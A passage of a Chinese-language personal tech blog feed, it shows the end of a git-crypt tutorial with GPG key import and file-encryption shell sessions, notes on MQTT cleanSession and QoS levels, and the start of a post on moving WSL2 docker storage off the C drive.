</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test <span class="o">(</span>master<span class="o">)</span>
</span></span><span class="line"><span class="cl">$ gpg --delete-secret-keys hacper
</span></span><span class="line"><span class="cl">gpg <span class="o">(</span>GnuPG<span class="o">)</span> 2.2.29-unknown<span class="p">;</span> Copyright <span class="o">(</span>C<span class="o">)</span> <span class="m">2021</span> Free Software Foundation, Inc.
</span></span><span class="line"><span class="cl">This is free software: you are free to change and redistribute it.
</span></span><span class="line"><span class="cl">There is NO WARRANTY, to the extent permitted by law.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">sec  rsa3072/8F5E3E2BC9BE60E8 2023-01-03 hacper &lt;git@hacperme.com&gt;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Delete this key from the keyring? <span class="o">(</span>y/N<span class="o">)</span> y
</span></span><span class="line"><span class="cl">This is a secret key! - really delete? <span class="o">(</span>y/N<span class="o">)</span> y
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test <span class="o">(</span>master<span class="o">)</span>
</span></span><span class="line"><span class="cl">$ gpg --delete-keys hacper
</span></span><span class="line"><span class="cl">gpg <span class="o">(</span>GnuPG<span class="o">)</span> 2.2.29-unknown<span class="p">;</span> Copyright <span class="o">(</span>C<span class="o">)</span> <span class="m">2021</span> Free Software Foundation, Inc.
</span></span><span class="line"><span class="cl">This is free software: you are free to change and redistribute it.
</span></span><span class="line"><span class="cl">There is NO WARRANTY, to the extent permitted by law.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">pub  rsa3072/8F5E3E2BC9BE60E8 2023-01-03 hacper &lt;git@hacperme.com&gt;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Delete this key from the keyring? <span class="o">(</span>y/N<span class="o">)</span> y
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test <span class="o">(</span>master<span class="o">)</span>
</span></span><span class="line"><span class="cl">$
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test <span class="o">(</span>master<span class="o">)</span>
</span></span><span class="line"><span class="cl">$ gpg --list-keys
</span></span><span class="line"><span class="cl">gpg: checking the trustdb
</span></span><span class="line"><span class="cl">gpg: no ultimately trusted keys found
</span></span><span class="line"><span class="cl">/c/Users/hacper/.gnupg/pubring.kbx
</span></span><span class="line"><span class="cl">----------------------------------
</span></span><span class="line"><span class="cl">pub   dsa1024 2009-04-16 <span class="o">[</span>SC<span class="o">]</span>
</span></span><span class="line"><span class="cl">      4340D13570EF945E83810964E8AD3F819AB10E78
</span></span><span class="line"><span class="cl">uid           <span class="o">[</span> unknown<span class="o">]</span> The Android Open Source Project &lt;initial-contribution@android.com&gt;
</span></span><span class="line"><span class="cl">sub   elg2048 2009-04-16 <span class="o">[</span>E<span class="o">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test <span class="o">(</span>master<span class="o">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>导入密钥</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test <span class="o">(</span>master<span class="o">)</span>
</span></span><span class="line"><span class="cl">$ gpg --import hacper_gpg.pub
</span></span><span class="line"><span class="cl">gpg: key 8F5E3E2BC9BE60E8: public key <span class="s2">&#34;hacper &lt;git@hacperme.com&gt;&#34;</span> imported
</span></span><span class="line"><span class="cl">gpg: Total number processed: <span class="m">1</span>
</span></span><span class="line"><span class="cl">gpg:               imported: <span class="m">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test <span class="o">(</span>master<span class="o">)</span>
</span></span><span class="line"><span class="cl">$ gpg --allow-secret-key-import --import hacper_gpg.key
</span></span><span class="line"><span class="cl">gpg: key 8F5E3E2BC9BE60E8: <span class="s2">&#34;hacper &lt;git@hacperme.com&gt;&#34;</span> not changed
</span></span><span class="line"><span class="cl">gpg: key 8F5E3E2BC9BE60E8: secret key imported
</span></span><span class="line"><span class="cl">gpg: Total number processed: <span class="m">1</span>
</span></span><span class="line"><span class="cl">gpg:              unchanged: <span class="m">1</span>
</span></span><span class="line"><span class="cl">gpg:       secret keys read: <span class="m">1</span>
</span></span><span class="line"><span class="cl">gpg:   secret keys imported: <span class="m">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test <span class="o">(</span>master<span class="o">)</span>
</span></span><span class="line"><span class="cl">$ gpg --list-keys
</span></span><span class="line"><span class="cl">/c/Users/hacper/.gnupg/pubring.kbx
</span></span><span class="line"><span class="cl">----------------------------------
</span></span><span class="line"><span class="cl">pub   dsa1024 2009-04-16 <span class="o">[</span>SC<span class="o">]</span>
</span></span><span class="line"><span class="cl">      4340D13570EF945E83810964E8AD3F819AB10E78
</span></span><span class="line"><span class="cl">uid           <span class="o">[</span> unknown<span class="o">]</span> The Android Open Source Project &lt;initial-contribution@android.com&gt;
</span></span><span class="line"><span class="cl">sub   elg2048 2009-04-16 <span class="o">[</span>E<span class="o">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">pub   rsa3072 2023-01-03 <span class="o">[</span>SC<span class="o">]</span>
</span></span><span class="line"><span class="cl">      D8B7C1CF1522498D3B6585608F5E3E2BC9BE60E8
</span></span><span class="line"><span class="cl">uid           <span class="o">[</span> unknown<span class="o">]</span> hacper &lt;git@hacperme.com&gt;
</span></span><span class="line"><span class="cl">sub   rsa3072 2023-01-03 <span class="o">[</span>E<span class="o">]</span>
</span></span></code></pre></td></tr></table>
</div>
</div></li>
<li>
<p>初始化git crypt，配置密钥</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test <span class="o">(</span>master<span class="o">)</span>
</span></span><span class="line"><span class="cl">$ git-crypt init
</span></span><span class="line"><span class="cl">Generating key...
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test <span class="o">(</span>master<span class="o">)</span>
</span></span><span class="line"><span class="cl">$ git-crypt add-gpg-user hacper
</span></span><span class="line"><span class="cl"><span class="o">[</span>master <span class="o">(</span>root-commit<span class="o">)</span> ce4bba9<span class="o">]</span> Add <span class="m">1</span> git-crypt collaborator
</span></span><span class="line"><span class="cl"> <span class="m">2</span> files changed, <span class="m">4</span> insertions<span class="o">(</span>+<span class="o">)</span>
</span></span><span class="line"><span class="cl"> create mode <span class="m">100644</span> .git-crypt/.gitattributes
</span></span><span class="line"><span class="cl"> create mode <span class="m">100644</span> .git-crypt/keys/default/0/ABF942D38B623FCB98B98E722B3BBE58C106357F.gpg
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test <span class="o">(</span>master<span class="o">)</span>
</span></span><span class="line"><span class="cl">$
</span></span></code></pre></td></tr></table>
</div>
</div></li>
<li>
<p>创建 .gitattributes 文件，配置需要加密的文件, 示例配置仅加密 *.md 后缀的文件</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test <span class="o">(</span>master<span class="o">)</span>
</span></span><span class="line"><span class="cl">$ <span class="nb">echo</span> <span class="s1">&#39;*.md filter=git-crypt diff=git-crypt&#39;</span> &gt; .gitattributes
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test <span class="o">(</span>master<span class="o">)</span>
</span></span><span class="line"><span class="cl">$ ls -al
</span></span><span class="line"><span class="cl">total <span class="m">21</span>
</span></span><span class="line"><span class="cl">drwxr-xr-x <span class="m">1</span> hacper <span class="m">197609</span>  <span class="m">0</span> Jan  <span class="m">3</span> 23:50 ./
</span></span><span class="line"><span class="cl">drwxr-xr-x <span class="m">1</span> hacper <span class="m">197609</span>  <span class="m">0</span> Jan  <span class="m">3</span> 23:33 ../
</span></span><span class="line"><span class="cl">drwxr-xr-x <span class="m">1</span> hacper <span class="m">197609</span>  <span class="m">0</span> Jan  <span class="m">3</span> 23:47 .git/
</span></span><span class="line"><span class="cl">drwxr-xr-x <span class="m">1</span> hacper <span class="m">197609</span>  <span class="m">0</span> Jan  <span class="m">3</span> 23:45 .git-crypt/
</span></span><span class="line"><span class="cl">-rw-r--r-- <span class="m">1</span> hacper <span class="m">197609</span> <span class="m">37</span> Jan  <span class="m">3</span> 23:51 .gitattributes
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test <span class="o">(</span>master<span class="o">)</span>
</span></span><span class="line"><span class="cl">$ git add .gitattributes
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test <span class="o">(</span>master<span class="o">)</span>
</span></span><span class="line"><span class="cl">$ git commit -m <span class="s2">&#34;add .gitattributes&#34;</span>
</span></span><span class="line"><span class="cl"><span class="o">[</span>master d6157c0<span class="o">]</span> add .gitattributes
</span></span><span class="line"><span class="cl"> <span class="m">1</span> file changed, <span class="m">1</span> insertion<span class="o">(</span>+<span class="o">)</span>
</span></span><span class="line"><span class="cl"> create mode <span class="m">100644</span> .gitattributes
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test <span class="o">(</span>master<span class="o">)</span>
</span></span><span class="line"><span class="cl">$
</span></span></code></pre></td></tr></table>
</div>
</div></li>
<li>
<p>创建待加密的md文件测试</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test <span class="o">(</span>master<span class="o">)</span>
</span></span><span class="line"><span class="cl">$ <span class="nb">echo</span> <span class="s2">&#34;# hello &#34;</span> &gt; readme.md
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test <span class="o">(</span>master<span class="o">)</span>
</span></span><span class="line"><span class="cl">$ ls
</span></span><span class="line"><span class="cl">readme.md
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test <span class="o">(</span>master<span class="o">)</span>
</span></span><span class="line"><span class="cl">$ cat readme.md
</span></span><span class="line"><span class="cl"><span class="c1"># hello</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test <span class="o">(</span>master<span class="o">)</span>
</span></span><span class="line"><span class="cl">$ git add readme.md
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test <span class="o">(</span>master<span class="o">)</span>
</span></span><span class="line"><span class="cl">$ git commit -m <span class="s2">&#34;add readme.md&#34;</span>
</span></span><span class="line"><span class="cl"><span class="o">[</span>master 09338d7<span class="o">]</span> add readme.md
</span></span><span class="line"><span class="cl"> <span class="m">1</span> file changed, <span class="m">0</span> insertions<span class="o">(</span>+<span class="o">)</span>, <span class="m">0</span> deletions<span class="o">(</span>-<span class="o">)</span>
</span></span><span class="line"><span class="cl"> create mode <span class="m">100644</span> readme.md
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test <span class="o">(</span>master<span class="o">)</span>
</span></span><span class="line"><span class="cl">$ git-crypt lock
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test <span class="o">(</span>master<span class="o">)</span>
</span></span><span class="line"><span class="cl">$ cat readme.md
</span></span><span class="line"><span class="cl">GITCRYPT▒iKO▒:▒gx▒*▒▒▒<span class="p">&amp;</span>rf▒
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test <span class="o">(</span>master<span class="o">)</span>
</span></span><span class="line"><span class="cl">$ git-crypt status
</span></span><span class="line"><span class="cl">not encrypted: .git-crypt/.gitattributes
</span></span><span class="line"><span class="cl">not encrypted: .git-crypt/keys/default/0/ABF942D38B623FCB98B98E722B3BBE58C106357F.gpg
</span></span><span class="line"><span class="cl">not encrypted: .gitattributes
</span></span><span class="line"><span class="cl">    encrypted: readme.md
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test <span class="o">(</span>master<span class="o">)</span>
</span></span><span class="line"><span class="cl">$ git-crypt lock
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test <span class="o">(</span>master<span class="o">)</span>
</span></span><span class="line"><span class="cl">$  cat readme.md
</span></span><span class="line"><span class="cl">GITCRYPT▒BN<span class="o">(</span>▒▒▒JE▒<span class="p">&amp;</span>U^<span class="se">\x</span>▒▒
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test <span class="o">(</span>master<span class="o">)</span>
</span></span><span class="line"><span class="cl">$ git-crypt unlock
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test <span class="o">(</span>master<span class="o">)</span>
</span></span><span class="line"><span class="cl">$  cat readme.md
</span></span><span class="line"><span class="cl"><span class="c1"># hello</span>
</span></span></code></pre></td></tr></table>
</div>
</div></li>
<li>
<p>导出加密密钥</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">git-crypt export-key ./path/.s_key
</span></span></code></pre></td></tr></table>
</div>
</div></li>
<li>
<p>使用导出的密钥解密</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">git-crypt unlock ./path/.s_key
</span></span></code></pre></td></tr></table>
</div>
</div></li>
<li>
<p>推送到远程仓库验证</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test <span class="o">(</span>master<span class="o">)</span>
</span></span><span class="line"><span class="cl">$ git remote add origin git@github.com:hacperme/git_crypt_test.git
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test <span class="o">(</span>master<span class="o">)</span>
</span></span><span class="line"><span class="cl">$ git push -u origin master
</span></span><span class="line"><span class="cl">Enumerating objects: 14, <span class="k">done</span>.
</span></span><span class="line"><span class="cl">Counting objects: 100% <span class="o">(</span>14/14<span class="o">)</span>, <span class="k">done</span>.
</span></span><span class="line"><span class="cl">Delta compression using up to <span class="m">8</span> threads
</span></span><span class="line"><span class="cl">Compressing objects: 100% <span class="o">(</span>9/9<span class="o">)</span>, <span class="k">done</span>.
</span></span><span class="line"><span class="cl">Writing objects: 100% <span class="o">(</span>14/14<span class="o">)</span>, 1.68 KiB <span class="p">|</span> 861.00 KiB/s, <span class="k">done</span>.
</span></span><span class="line"><span class="cl">Total <span class="m">14</span> <span class="o">(</span>delta 1<span class="o">)</span>, reused <span class="m">0</span> <span class="o">(</span>delta 0<span class="o">)</span>, pack-reused <span class="m">0</span>
</span></span><span class="line"><span class="cl">remote: Resolving deltas: 100% <span class="o">(</span>1/1<span class="o">)</span>, <span class="k">done</span>.
</span></span><span class="line"><span class="cl">To github.com:hacperme/git_crypt_test.git
</span></span><span class="line"><span class="cl"> * <span class="o">[</span>new branch<span class="o">]</span>      master -&gt; master
</span></span><span class="line"><span class="cl">branch <span class="s1">&#39;master&#39;</span> <span class="nb">set</span> up to track <span class="s1">&#39;origin/master&#39;</span>.
</span></span></code></pre></td></tr></table>
</div>
</div><p>在仓库托管平台看不到明文内容，符合预期。</p>
</li>
</ol>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20230104010811220.2jhfuv80z1y0.png" alt=""  />
</p>
]]></content:encoded>
    </item>
    <item>
      <title>MQTT 应用笔记</title>
      <link>https://hacperme.com/posts/notes/20220909_mqtt_notes/</link>
      <pubDate>Fri, 09 Sep 2022 22:09:22 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/20220909_mqtt_notes/</guid>
      <description>cleansession 与 Qos 的配置关系 cleanSession的语义 cleanSession标志是MQTT协议中对一个消费者客户端建立TCP连接后是否关心之前状态</description>
      <content:encoded><![CDATA[<h2 id="cleansession-与-qos-的配置关系">cleansession 与 Qos 的配置关系</h2>
<ol>
<li>
<p>cleanSession的语义</p>
<p><strong>cleanSession</strong>标志是MQTT协议中对一个消费者客户端建立TCP连接后是否关心之前状态的定义，与消息发送端的设置无关。具体语义如下： - <strong>cleanSession=true</strong>：消费者客户端再次上线时，将不再关心之前所有的订阅关系以及离线消息。（服务器不保存之前的topic历史关系和不存储离线消息，客户连接需要重新订阅topic且不会收到离线消息） - <strong>cleanSession=false</strong>：消费者客户端再次上线时，还需要处理之前的离线消息，而之前的订阅关系也会持续生效。（服务器会保存之前的topic订阅关系，客户端连接之后不需要重新订阅topic，且会收到离线消息）</p>
</li>
<li>
<p>cleanSession 与 Qos 配置的关系</p>
</li>
</ol>
<table>
<thead>
<tr>
<th style="text-align:left">QoS级别</th>
<th style="text-align:left">cleanSession=true</th>
<th style="text-align:left">cleanSession=false</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">QoS0</td>
<td style="text-align:left">无离线消息，在线消息只尝试推一次。</td>
<td style="text-align:left">无离线消息，在线消息只尝试推一次。</td>
</tr>
<tr>
<td style="text-align:left">QoS1</td>
<td style="text-align:left">无离线消息，在线消息保证可达。</td>
<td style="text-align:left">有离线消息，所有消息保证可达。</td>
</tr>
<tr>
<td style="text-align:left">QoS2</td>
<td style="text-align:left">无离线消息，在线消息保证只推一次。</td>
<td style="text-align:left">有离线消息，所有消息保证只推一次。（也需要服务器支持该功能才有效）</td>
</tr>
</tbody>
</table>
<h2 id="发布订阅消息不同-qos-配置的作用交互流程及其特点">发布、订阅消息不同 Qos 配置的作用、交互流程及其特点</h2>
<ol>
<li>mqtt 消息发布者和消息订阅者之间的 Qos 配置关系</li>
</ol>
<p>MQTT发布消息QoS保证不是端到端的，是客户端与服务器之间的。订阅者收到MQTT消息的QoS级别，最终取决于发布消息的QoS和主题订阅的QoS。</p>
<table>
<thead>
<tr>
<th>发布消息的 QoS</th>
<th>主题订阅的 QoS</th>
<th>接收消息的 QoS</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>0</td>
<td>1</td>
<td>0</td>
</tr>
<tr>
<td>0</td>
<td>2</td>
<td>0</td>
</tr>
<tr>
<td>1</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>1</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>1</td>
<td>2</td>
<td>1</td>
</tr>
<tr>
<td>2</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>2</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>2</td>
<td>2</td>
<td>2</td>
</tr>
</tbody>
</table>
<ol start="2">
<li>不同 Qos 消息在消息发布者、服务器、消息订阅者之间的交互流程</li>
</ol>
<ul>
<li>Qos0 的交互流程</li>
</ul>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/mqtt-qos0-2022-08-11-1819.3pyah3ua5t00.png" alt="mqtt-qos0-2022-08-11-1819"  />
</p>
<p>特点：</p>
<ol>
<li>没有重发机制，消息订阅者不一定能收到消息。</li>
</ol>
<ul>
<li>Qos1的交互流程</li>
</ul>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/mqtt-qos1-2022-08-11-1819.1qw727hrf20w.png" alt="mqtt-qos1-2022-08-11-1819"  />
</p>
<p>特点：</p>
<ol>
<li>有重传机制，消息发送者PUBLISH消息之后，在特定时间之内没有收到 PUBACK 确认消息，就会触发重传。</li>
<li>重传对象为 PUBLISH 报文，重传动作在发送端进行。</li>
<li>一般重传有次数限制，比如腾讯云 iot 平台，3s 内没有收到ACK触发重传，重传次数最大为3次。</li>
<li>由于有重传，在应用层有可能会收到重复消息，需要根据应用场景判断要不要增加消息去重处理。</li>
</ol>
<ul>
<li>Qos2的交互流程</li>
</ul>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/mqtt-qos2-2022-08-11-1819.72y1jwbvcd80.png" alt="mqtt-qos2-2022-08-11-1819"  />
</p>
<p>特点：</p>
<ol>
<li>Qos2 不一定服务器都支持。</li>
<li>Qos2 发送消息，发送端和接收端需要个发两次报文才完成整个流程，共4次报文传输，流程更复杂，开销相对较大。</li>
<li>重传动作发生在消息发送端，重传对象有 PUBLISH 报文和 PUBREL 报文。</li>
<li>虽然有重传，但是应用层不会收到重复消息。</li>
</ol>
<h2 id="搭建-mqtt-测试服务器">搭建 mqtt 测试服务器</h2>
<ul>
<li>搭建 emqx</li>
</ul>
<p>推荐使用 docker 的方式，部署简单，一条命令搞定。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">docker run -d --name emqx -p 1883:1883 -p 8083:8083 -p 8084:8084 -p 8883:8883 -p 18083:18083 emqx/emqx:latest
</span></span></code></pre></td></tr></table>
</div>
</div>]]></content:encoded>
    </item>
    <item>
      <title>更改 wsl2 docker 存储位置方法</title>
      <link>https://hacperme.com/posts/notes/2022-08-07-wsl2-docker/</link>
      <pubDate>Sun, 07 Aug 2022 12:48:56 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2022-08-07-wsl2-docker/</guid>
      <description>Windows 的 Linux 子系统安装的 Ubuntu，以及 docker 数据默认存储位置放在 C 盘，使用一段时间之后，C 盘空间快满了，所以需要将wsl2的存储位置迁移到其他位置</description>
      <content:encoded><![CDATA[<p>Windows 的 Linux 子系统安装的 Ubuntu，以及 docker 数据默认存储位置放在 C 盘，使用一段时间之后，C 盘空间快满了，所以需要将wsl2的存储位置迁移到其他位置。</p>
<h2 id="wsl2-数据迁移步骤">wsl2 数据迁移步骤</h2>
<p>使用指令 <code> wsl --list -v</code> 查看 wsl 安装的系统</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nb">PS </span><span class="n">C:</span><span class="p">\</span><span class="n">Users</span><span class="p">\</span><span class="n">hacper</span><span class="p">&gt;</span> <span class="n">wsl</span> <span class="p">-</span><span class="n">-list</span> <span class="n">-v</span>
</span></span><span class="line"><span class="cl">  <span class="n">NAME</span>                   <span class="n">STATE</span>           <span class="n">VERSION</span>
</span></span><span class="line"><span class="cl"><span class="p">*</span> <span class="nb">docker-desktop</span>         <span class="n">Running</span>         <span class="mf">2</span>
</span></span><span class="line"><span class="cl">  <span class="n">Ubuntu</span>                 <span class="n">Running</span>         <span class="mf">2</span>
